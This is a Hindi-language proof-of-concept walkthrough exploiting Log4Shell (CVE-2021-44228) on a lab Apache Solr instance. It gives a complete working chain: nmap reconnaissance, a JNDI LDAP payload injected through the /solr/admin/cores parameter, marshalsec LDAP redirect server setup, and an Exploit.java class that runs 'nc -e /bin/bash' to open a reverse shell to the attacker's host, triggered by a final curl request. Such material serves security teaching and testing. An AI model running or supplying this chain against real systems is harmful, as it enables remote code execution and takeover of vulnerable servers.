
Log4j Vulnerability RCE - CVE-2021-44228
यह भेद्यता 9 दिसंबर, 2021 को खोजी गई थी, जिसे CVE-2021-44228 के रूप में पहचाना गया, यह दोष java log पैकेज को प्रभावित करता है, जिससे गंभीरता स्कोर (CVSS) 10 अंक उत्पन्न होता है, जो होस्ट तक दूरस्थ पहुंच का निष्पादन प्रदान करता है। यह भेद्यता सुरक्षा समुदाय में LOG4SHELL के नाम से जानी जाती है।
यदि आप LOG4J भेद्यता से प्रभावित सॉफ़्टवेयर विक्रेताओं की सूची चाहते हैं, तो नीचे दिए गए रिपॉजिटरी को देखें;
इस प्रकार के हमले को प्रदर्शित करने के लिए, हमारे पास एक होस्ट है जिसमें log4j पैकेज का संवेदनशील संस्करण (Apache Solr 8.11.0) और Java 1.8.0_181 है।
बुनियादी पुनर्ज्ञान से शुरू करें यह समझने के लिए कि इस मशीन पर कौन से पोर्ट खुले हैं, nmap टूल (या आपकी रुचि का कोई अन्य) का उपयोग करें।
nmap -v -p- poc.log4j - होस्ट संवेदनशील है

इस मामले में, 3 खुले पोर्ट पाए गए। आइए अपने nmap को बेहतर बनाएं, केवल खुले पोर्ट और -sV कमांड (पोर्ट एप्लिकेशन संस्करण लौटाएं) को सूचित करते हुए
nmap -v -p22,111,8983 -sV poc.log4j

संभवतः हमारे पास पोर्ट 8983 पर एक अपाचे चल रहा है। नीचे हम अपाचे की पुष्टि कर सकते हैं, Apache Solr का यह इंस्टेंस बिना किसी डेटा के प्रावधानित है। यह एक फ्लैट, वेनिला और बिल्कुल न्यूनतम इंस्टॉलेशन है।
log4j के लिए मुख्य हमला वेक्टर एप्लिकेशन लॉग में है, जहां यदि हम Solr स्क्रीन को देखते हैं, तो हम Dsolr.log.dir में सक्षम लॉग देख सकते हैं।
ध्यान दें कि आपने अभी जो URL एंडपॉइंट खोजा है, उसे वेब इंटरफेस से देखते समय solr/ उपसर्ग के साथ जोड़ा जाना चाहिए। इसका मतलब है कि आपको यहां जाना चाहिए:
http://poc.log4j:8983/solr/admin/cores
- क्यों /admin/cores ❓ 💬
यहां हम वह भेद्यता पाते हैं जिसका शोषण किया जा सकता है। यह एक कॉल है जो निष्पादित होने के लिए एक वेरिएबल (params={}) प्राप्त करता है, हम इस इनपुट में हेरफेर कर सकते हैं और अपना पेलोड भेज सकते हैं। नीचे हम अपाचे द्वारा इस URL /admin/cores को कॉल करने पर उत्पन्न एक लॉग देख सकते हैं।
इसका लाभ उठाने वाले सामान्य सिंटैक्स का प्रारूप इस प्रकार है;
${jndi:ldap://ATTACKERCONTROLLEDHOST}
यह सिंटैक्स इंगित करता है कि log4j "JNDI", या "Java Naming and Directory Interface" से कार्यक्षमता को आमंत्रित करेगा। अंततः, इसका उपयोग बाहरी संसाधनों, या "संदर्भों" तक पहुंचने के लिए किया जा सकता है, जो इस हमले में हथियार बनाया गया है। ldap:// स्कीमा पर ध्यान दें, यह इंगित करता है कि लक्ष्य LDAP प्रोटोकॉल के माध्यम से एक एंडपॉइंट (इस हमले के मामले में हमलावर-नियंत्रित स्थान) तक पहुंचेगा।
हम ldap का यह सिंटैक्स कहां दर्ज कर सकते हैं?
आप बस HTTP GET वेरिएबल या पैरामीटर प्रदान कर सकते हैं जिन्हें फिर log4j द्वारा संसाधित और पार्स किया जाएगा। बस टेक्स्ट की यह एक पंक्ति चाहिए - और यह इस भेद्यता का शोषण करना बेहद आसान बनाता है।
अन्य स्थान जहां आप यह JNDI सिंटैक्स प्रदान कर सकते हैं:
इस चरण में, लक्ष्य होस्ट पर log4j का एक संस्करण खोजने के बाद, हमें इसका परीक्षण करने और यह देखने की आवश्यकता है कि क्या वह संस्करण संवेदनशील है।
हम हमलावर होस्ट पर पोर्ट 6666 खोलते हैं।
nc -vnlp 6666
HTTP पैरामीटर के भाग के रूप में इस आदिम JNDI पेलोड सिंटैक्स सहित एक अनुरोध करें। यह आसानी से curl कमांड लाइन उपयोगिता के साथ किया जा सकता है।

पेलोड निष्पादित करने पर, हमें पोर्ट 6666 पर अपने netcat में रिटर्न मिलता है। 🙌

इस बिंदु पर, आपने अपने netcat लिसनर में इस कनेक्शन को पकड़ते हुए देखकर सत्यापित कर लिया है कि लक्ष्य वास्तव में संवेदनशील है। हालांकि, इसने एक LDAP अनुरोध किया... इसलिए आपके netcat लिसनर ने केवल गैर-मुद्रण योग्य वर्ण (अजीब दिखने वाले बाइट्स) देखे होंगे। अब हम एक वास्तविक LDAP हैंडलर के साथ प्रतिक्रिया देने के लिए इस नींव पर निर्माण कर सकते हैं।
जैसा कि हमने ऊपर curl में देखा, हम अपने NC में एक अनुरोध प्राप्त करने के लिए LDAP प्रोटोकॉल का उपयोग करने में सक्षम थे। हालांकि, क्योंकि हम दूसरे प्रोटोकॉल का उपयोग करते हैं, हम प्रतिक्रिया की कल्पना या हेरफेर करने में असमर्थ हैं।
अगला कदम एक LDAP सर्वर बनाना है ताकि हम अनुरोधों को संभाल सकें, चलिए चलते हैं!
इस POC को गति देने के लिए, हम https://github.com/mbechler/marshalsec में पहले से तैयार उपयोगिता का उपयोग करेंगे।
marshalsec स्क्रिप्ट का उपयोग करने के लिए हमें maven का उपयोग करने की आवश्यकता है। Maven apt install maven में उपलब्ध है।
marshalsec रिपॉजिटरी के अंदर, maven से शुरू करें mvn clean package -DskipTests
jar बनाने के बाद, हम अनुरोधों को रीडायरेक्ट करने के लिए LDAP सर्वर शुरू कर सकते हैं
Replace YOUR.IP
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.IP:8000/#Exploit"

हम LDAP सर्वर को चालू छोड़ देंगे और सर्वर का पता लगाने के लिए स्क्रिप्ट बनाएंगे।
Exploit.java फ़ाइल बनाएं।#सरल एक्सप्लॉइट जो पोर्ट 9999 पर मेरे IP पर NC के साथ /bin/bash को कॉल कर रहा है।
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.IP 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
आइए एक्सप्लॉइट को javac Exploit.java -source 8 -target 8 के साथ कंपाइल करें। Exploit.class बनाया जाएगा।
एक्सप्लॉइट तैयार होने पर, आइए इसे Python सर्वर python3 -m http.server पर होस्ट करें।
आइए पहले बनाए गए java कमांड bash को प्राप्त करने के लिए NC के साथ एक पोर्ट खोलें। हम एक नया nc -lnvp 9999 बनाते हैं।
आइए सब कुछ काम पर लगाएं! आइए एक CURL करें जो सर्वर को पोर्ट 8000 पर हमारे एक्सप्लॉइट को देखने के लिए मजबूर करता है जिसे हमने Python के साथ बनाया है।
curl 'http://poc.log4j:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.IP:1389/Exploit\}'